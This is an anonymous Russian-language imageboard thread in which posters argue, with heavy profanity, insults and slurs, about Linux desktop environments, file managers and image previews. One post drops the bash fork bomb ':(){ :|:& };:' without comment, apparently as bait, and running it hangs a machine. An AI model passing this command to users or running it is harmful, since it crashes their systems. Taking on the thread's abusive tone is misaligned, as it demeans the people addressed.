Нет, ты будешь дальше пытаться рассказать, что это не твоё говнецо не в твоих штанах.
>до сих пор кукарекает без намека на смысл
Ну все ясно с тобой, обосранькался - подмывайся беги, а то засохнет.
>не твоё говнецо не в твоих штанах.
Вспоминлось
>дальше пытаться рассказать, что это не твоё говнецо
Молодец, прямо как я приказал.
Раз уж ты признал свой отсос с нормой, разрешаю тебе придумать какой-нибудь новый тезис.
Ну-ну, не агонизируй в бессильной злобе, маня.
Продолжай, я наслаждаюсь твоим бессилием.
Не понял, о чём срач? Какашки летают, суть не улавливается.
Манька обосралась, попытавшись доказать, что шиндовс не норма.
1. В линонксе до сих пор нет нормальных рамочек для окошек.
2. Как же славно быть виндобогом.
>нормальных рамочек
Взлольнул с необучаемого спермоблядка.
Взлольнул тебе за воротник)) Типичный прыщеблядок: его на залупе крутят как космонавта в центрифуге, а он, знай, огрызается))
Зачем вы хуй?
Ну-ка, шавочка, голос!
Песика зачмырили на экзамене по физике, он решил атамистить на двачи))
Да я вообще мимокрок, мне тоже суть вашего спора не очень ясна.
А эти двое клоунов вообще высняют, у кого бахтерт сильнее.
Неплохо гуманьке припекло.
>>огромный многолетний проект
За 16 лет НЕ смогли сделать показ эскизов. Дауны.
ни завезли смищные картинки(((
>не сделали окошко выбора смешных картинок
>НИПРАФИСЕНАЛЫ ТУПЫЕ ЖУНИОРЫ
Сперманька опять мантру заводит.
Из-за этой хуйни сменил десятки DE и файловых менеджеров. Всем нужно удобство, но не все готовы признаться в говноедстве.
Объективно лучший FM - PCmanFM. Для тех, кому нравится минимализм Аутилуса, но не хватает фич ставят Nemo.
>Всем нужно удобство
Казалось бы, при чём здесь превью картинок в диалоге выбора файла?
> Объективно лучший FM - PCmanFM. Для тех, кому нравится минимализм Аутилуса, но не хватает фич ставят Nemo.
Лучший — rangerSpaceFM, кто знает когда китайцу еще раз переписать PCmanFM приспичит.
Пердоли бескартиночные)
Все соснуле у КДЕ-богов.
Кдебил не палится.
Скорей всего тупицы, сидящие без превьюшек просто не знают, что у них косяк с правами на папку /home/username/.cache/thumbnails
Это вот здесь что ли превьюшек нет из-за «косяков с правами»? Не позорься.
Всем дебилам сразу не поможешь. Они будут продолжать упорно игнорировать современные DE и вменяемые файловые менеджеры, а потом плакаться по поводу отсутствия превью.
>и совсем я не обосрался
>я всех опустил
>шел 2016-ый год
>в ГАНУУ/Линдекс до сих не было превью картинок
>в ГАНУУ/Линдекс до сих не было превью картинок
>не было превью картинок
Есть уже лет 500
> есть уже лет 500, но нужно немножко попердолиться
УМВР
Только у пердоликов нет. У линуксгсопод всё на месте.
Уёбывай отсюда, клоун.
У меня раньше стояло Е17, но потом оно упало, как то не прижилось, но настроил я ее очень круто, все по рукой fapenarge
Както так
Где такие настройки можно взять?
sudo zypper install qtcurve-kde4
Это KDE + QtCurve
очевидно в QtCurve
Что за фаст диал в огнелисе ? Хотет.
Лол, всё понятно. Это говно настраивается только в KDE. Васян уже как минимум год не может осилить нормальную настройку.
https://github.com/QtCurve/qtcurve/issues/29
Полная хуйня
gnome - реально для каких-то гномов.
кеды - только с виду хороши.тяжелые,причем настолько что в base комплектации -весят больше чем сама ОС.Пиздос.
Не могу вспомнить,не с них ли основатель линуха спрыгнул на xcfe?
Тащемта что я только не юзал,всегда возвращался в openbox.
Иногда стартую кеды,хватает минут 10 максимум и обратно в боксы.
Переходи на какой-нибудь WM и не еби мозги
> файловый менеджер не сидит в памяти
> документация у них скудная
> до ужаса минималистичен
> ничего нельзя настроить через GUI
> пердолиться с консолькой
Да, действительно какой-нибудь WM — это именно то что надо ОПу.
> не нужно пердолиться с GUI
> всё настраивается через консольку
Пофиксил пердолика.
Кеды - унылое серое говно же. Юнити прилично выглядит хотя бы.
:(){ :|:& };:
Сперма не представляет себе что-то кроме дефолтной темы оформления.
В пизду ваши кеды. Я это корявое и непомерно раздутое поделье даже на тестовую машину брезгаю ставить.
>пердоклован-нуб не может поставить kdm с kde-plasma-desktop и всё
Дружок, объясни-ка нахрена сдался голый plasma-desktop без всего? Который к тому же ещё вытянет зависимостей на пару сотен метров.
Минимальная установка kde-workspace, которая хоть на что-то годна, весит полгига. Пиздец. В «Микрософте», наверное, отлично проигрывают с криворуких васянов, нагородивших себе огород говна под названием KDE.
> голый
Потому что ты, нищая сперма, даже не представляешь что в этих пакетах и насколько он будет "голым".
Да кеды это тежеловесы и пакетов много и памяти, но когда много места и памяти это как бэ незаметно, но удобно. Главное что есть выбор)
Давно полтора гига — это много? Уставноленная хрюша, к примеру, весила больше, а умела не в пример меньше.
Чаю этому. Никто не заставляет ставить на нетбук с 1GHz, это глупо. Но на йоба пека оче годно работает, и еще он не более тяжелый чем gnome-shell или unity. Да что говорить, explorer в шинде ест не меньше. И да, свобода выбора это всегда хорошо.
>брезгаю
Побрезгал в рожицу неграмотной пердоле.
Скажи спасибо мейнтейнерам твоей говносборочки. Дебиан:
>Необходимо получить 96,4 MB архивов. После распаковки 251 MB будет занято.
Быдла полон тред.
ratpoison-господин
ratpoison-господин
Сыто рыгнул в харю ratpoison-господину.
быдло
> до ужаса минималистичен
Ну ставь кеды тогда, совсем зажрались, пидоры. Или сперму ставь, там тебе не нужно делать мучительного выбора.
Охуеть вообще, значки, окошки. Я это в 11 классе прошёл.
ОП, ты абсолютно прав.
Я наверное впервые вижу, когда моё мнение выразил наиболее чётко кто-то другой.
На Линуксе дизайна нет. Как, впрочем, и в большинстве бесплатных программ.
ОП, ты не палишься совсем. Ведь таких феерических дебилов может быть больше чем один, да?
Я вообще случайный посетитель тут.
Линуксами пользуюсь дольше, чем ОП - с 2005 года. В итоге в 2012 поставил лицуху винды и радуюсь.
Про кастомизацию и пердолинг - не аргумент. Если из коробки дизайн говно, всё плохо. На андроидах тоже пиздец, к слову.
На винде тоже хватает пиздеца, но там всё намного лучше чем в линухе.
> Если из коробки дизайн говно, всё плохо.
Ему дали выбор, но он хочет жрать говно. Дело хозяйское.
Я не профессиональный дизайнер.
Я предпочитаю уже готовый продукт.
iOS, к слову, почти идеальна.
> Я предпочитаю уже готовый продукт.
> поставил лицуху винды и радуюсь.
/0
Большего разношерстного пиздеца из коробки, я нигде не встречал.
> iOS, к слову, почти идеальна
в /mobi/, быдло.
>Большего разношерстного пиздеца из коробки
Я согласен с тобой, что дизайн должен быть многовариативен. Но у того же Убунту нет своего визуального языка, и он объективно отстаёт от трендов. У андроида есть визуальный язык, но он убог.
> Но у того же Убунту нет своего визуального языка, и он объективно отстаёт от трендов
Что это? Зачем оно нужно? И что сейчас в трендах?
iOS
Мальчик, ты доской не ошибся?
>визуального языка
Это там обезьяны сейчас называют кнопочки и картиночки? Ну да, настоящими языками они пользоваться не научились, остаётся только тыкать лапами в картинки.
Ты че, щас даже кукурузикс можно так пилить, пик https://www.youtube.com/watch?v=1Eh7aPTcq1I&list=PLC759306A1E692A10
да
О, боже, да это же Кэсс, все в дорогу!
Я ненавижу KDE за это идиотское коверкание названий на немецкий манер: Konsole, Kompare, KWrite ууух. KDE медленно загружается, файловый менеджер не сидит в памяти по умолчанию, а загружается при первом открытии, капец. В KDE нет годных оформлений, новенькая Breeze выглядит как говно, потому что все разделители выполнены в светло-серых тонах. Сбросить бы на скалы того говнодизайнера, который придумал делать все серым, включая шрифты. Самая минимальная KDE содержит неудалямый без нарушения работоспособности системы веб-браузер. А еще у нее до сих это уродское меню пуск как в Windows 7, некрасивая постоянно видимая сливная ручка. Плюс его разработка ведется тремя с половиной кодерами, вследствие чего документация у них скудная и быстро поправить нужную тебе вещь не получится.
Но с другой стороны, его System settings весьма богаты. У него есть очень полезный KWallet, неплохой Klipper. Dophin поддерживает Split.
В GNOME мне не нравится логотип. В третьей версии добавили еще макоподобное меню слева. Во втором Гноме выпадающее меню сверху может содержать так много элементов и уровней, что нахер оно сдалось. Гном до ужаса минималистичен - практически ничего нельзя настроить через GUI. Пердолиться с консолькой - это хорошо, но примитивные вещи должны настраиваться быстро и просто. Опять нет нормальных тем, маленькие кнопки.
С другой стороны в Гноме 3 классное окно поиска. Прямо как в Win8, хотя Гному не хватает плоскости. Во втором Гноме есть красивая полоска сверху, которая содержит все значки, меню, язык, часы и прочее.
XFCE, LXDE, MATE, Cinnamon вообще выглядят либо как клоны вышеупомянутых DE, либо как нечто ультраминималистичное, неизвестно зачем вообще было созданное. Unity - один большой-большой зонд.
Как быть, анон? Хочется пересесть на Линукс окончательно, но его обложка отторгает.